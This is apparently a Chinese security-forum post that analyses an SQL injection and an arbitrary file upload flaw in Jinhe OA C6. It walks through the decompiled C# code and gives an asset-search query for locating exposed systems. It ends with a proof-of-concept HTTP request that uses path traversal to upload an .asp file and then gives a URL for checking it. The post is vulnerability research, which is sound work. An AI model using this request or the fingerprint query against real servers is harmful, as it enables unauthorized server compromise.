金和oaGeneralXmlhttpPage.apx SQL注入漏洞和UploadFileEditorSave.aspx任意文件上传漏洞分析
xhys 发表于 北京 漏洞分析 524浏览 · 2024-08-26 08:53

金和oaGeneralXmlhttpPage.apx SQL注入漏洞

前景提要:使用的是dnSpy工具进行了反编译操作,反编译后是c#代码

资产测绘

app="金和网络-金和OA"

产品介绍

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。

漏洞概述

金和OA C6 GetHomeInfo接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。

版本

v3.8之前

漏洞分析原理

因为文件中都是.dll文件。因此我们使用dnSpy进行反编译,首先将.dll导入到dnSpy

找到JHSoft.Web.Appraise下的JHSoft.Web.Appraise.dll下的JHSoft.Web.Appraise(有两个我们进入第二文件中)


进入到GeneralXmlhttpPage中有一个CheckAppraiseState()方法


也可以ctrl+shift+k进入全局搜索,我们直接搜索GeneralXmlhttpPage


切记不要进入到.ctor中,而是选择下面后框中的内容

点击进入这个CheckAppraiseState方法,该方法用于用于检查评价的状态


分析

public string CheckAppraiseState()
        {
            string arg = string.Empty;
            //对前端输入来的id值进行非空的判断
            if (base.Request.QueryString["id"] != null)
            {
                //若不为空就将其值赋值给arg
                arg = base.Request.QueryString["id"].ToString();
            }
            //使用 string.Format 方法,根据 arg 的值构建一个SQL查询字符串,用于从 appraise 表中选择 AppraiseID 对应的 AppraiseOverFlag 字段。
            string queryString = string.Format("select AppraiseOverFlag from appraise where AppraiseID = '{0}'", arg);
            //执行sql语句
            DataTable dataTable = this.db.ExecSQLReDataTable(queryString);
            string result;
            //判断sql语句的执行是否错误
            if (!this.db.IsError)
            {//若没有错误,判断执行的语句的结果行数是否大于0
                if (dataTable.Rows.Count > 0)
                {   //若行数>0,将第一行获取 AppraiseOverFlag 字段的值,并将其赋值给 result。
                    string text = string.Format("{0}", dataTable.Rows[0][0]);
                    result = text;
                }
                else
                {
                    result = "";
                }
            }
            else
            {
                result = "";
            }
            //返回result
            return result;

在上述代码中直接将前端输入来的id值通过Format方法赋值到对应的sql语句中,之后通过ExecSQLReDataTable方法执行sql语句,返回结果。现在我们就去这个From方法查看对我们的id值是否有相关的过滤

因为本人对c#也不是特别了解就去简单查询了一下From方法

String.Format是将指定的 String类型的数据中的每个格式项替换为相应对象的值的文本等效项。

举例

string p1 = "Jackie";
string p2 = "Aillo";
Response.Write(String.Format("Hello {0}, I'm {1}", p1, p2));//结果:Hello Jackie, I'm Aillo

Form方法可以说是一个简单的拼接方法,并没有对我们sql语句进行过滤操作

总结

造成sql注入的主要原因还是因为对前端传入的id值没有进行过滤进而导致漏洞的实现

漏洞复现

金和OAC6UploadFileEditorSave.aspx任意文件上传漏洞

产品介绍

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。

漏洞概述

金和 OA C6 uploadfileeditorsave接口处存在任意文件上传漏洞,攻击者可以通过构造特殊请求包上传恶意后门文件,从而获取服务器权限。

版本

v3.8之前

资产测绘

app="金和网络-金和OA"

漏洞分析原理

因为文件中都是.dll文件。因此我们使用dnSpy进行反编译,首先将.dll导入到dnSpy


要注意的是反编译得到是C#语言而并非是java与php代码

我们找到从目录中找到JHSoft.Web.CustomQuery之后点击发现有一个.dll,点击之后有一个JHSoft.Web.CustomQuery


进入JHSoft.Web.CustomQuery找到UploadFileEditorSave


也可以使用ctrl+shift+k进入全局搜索页面,搜索UploadFileEditorSave


进入到JHSoft.Web.CustomQuery.UploadFileEditorSave


分析:

protected void Page_Load(object sender, EventArgs e)
        {
            //获取前端传入的filename参数的值,赋值给text
            string text = base.Request["filename"].ToString();
            //获取filename的路径
            string text2 = Upload.MapFilePath(text);
            //将text转为小写判断是否存在slaves的字符串
            if (text.ToLower().IndexOf("slaves") == -1)
            {//不能存在slaves的字符串
                //判断文件是否已存在
                if (File.Exists(text2))
                {
                    //删除上传的文件
                    File.Delete(text2);
                }
                //调用 Upload.NoAESRead处理上传的文件流
                Upload.NoAESRead(base.Request.Files[0].InputStream, ref text2);
            }
            else
            {//存在slaves的字符串
                //进行相关内容的替换
                text2 = text2.ToLower().Replace("\\temp\\", "\\slaves\\");
                //判断该文件是否已经存在
                if (File.Exists(text2))
                {
                    File.Delete(text2);
                }
                // Upload.AESRead 方法处理上传的文件流。
                Upload.AESRead(base.Request.Files[0].InputStream, ref text2);
            }
            this.Context.Response.End();

上述代码只是获取到对应的filname,以及该文件的路径,通过该路径判断该文件是否已经存在,之后进行文件调用相关函数进行处理

接着对NoAESRead以及AESRead方法进行分析


分析:这两段代码内容几乎相同,唯一的区别就是在AESRead方法中中进行了一次AESncrypt加密操作,那么我们就分析一下AESRead方法

public static void AESRead(Stream stream, ref string strFile)
        {
            //根据stream内容的长度,创建一个数组
            byte[] array = new byte[(int)stream.Length];
            //读取 Stream 中的所有数据到 array 字节数组中。
            stream.Read(array, 0, array.Length);
            stream.Close();
            //传入原始数据的字节数组,返回加密后的字节数组。
            byte[] array2 = Upload.AESEncrypt(array);
            //创建一个新的 FileStream 对象,用于写入数据到文件
            FileStream fileStream = new FileStream(strFile, FileMode.CreateNew, FileAccess.Write);
            //将加密后的字节数组 array2 写入到 fileStream 中。
            fileStream.Write(array2, 0, array2.Length);
            //关闭文件流
            fileStream.Close();
        }

上述两个方法在进行文件上传的操作过程中并没有对文件名以及文件的内容进行过滤,进而导致了任意文件上传漏洞的形成

四、漏洞复现

poc

POST/C6/Control/UploadFileEditorSave.aspx?filename=\....\....\C6\ilra9c2tw2.asp HTTP/1.1
Host:{{Hostname}}
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:109.0)Gecko/20100101Firefox/119.0
Content-Type:multipart/form-data;boundary=----umvtqrw8etdtcatpd8vq

------umvtqrw8etdtcatpd8vq
Content-Disposition:form-data;name="file";filename="ilra9c2tw2.jpg"
Content-Type:image/png

<%response.write(333*2)%>
------umvtqrw8etdtcatpd8vq--


然后访问

http://ip:port/C6/qps4cckjuz2.asp

漏洞存在

0 条评论
某人
表情
可输入 255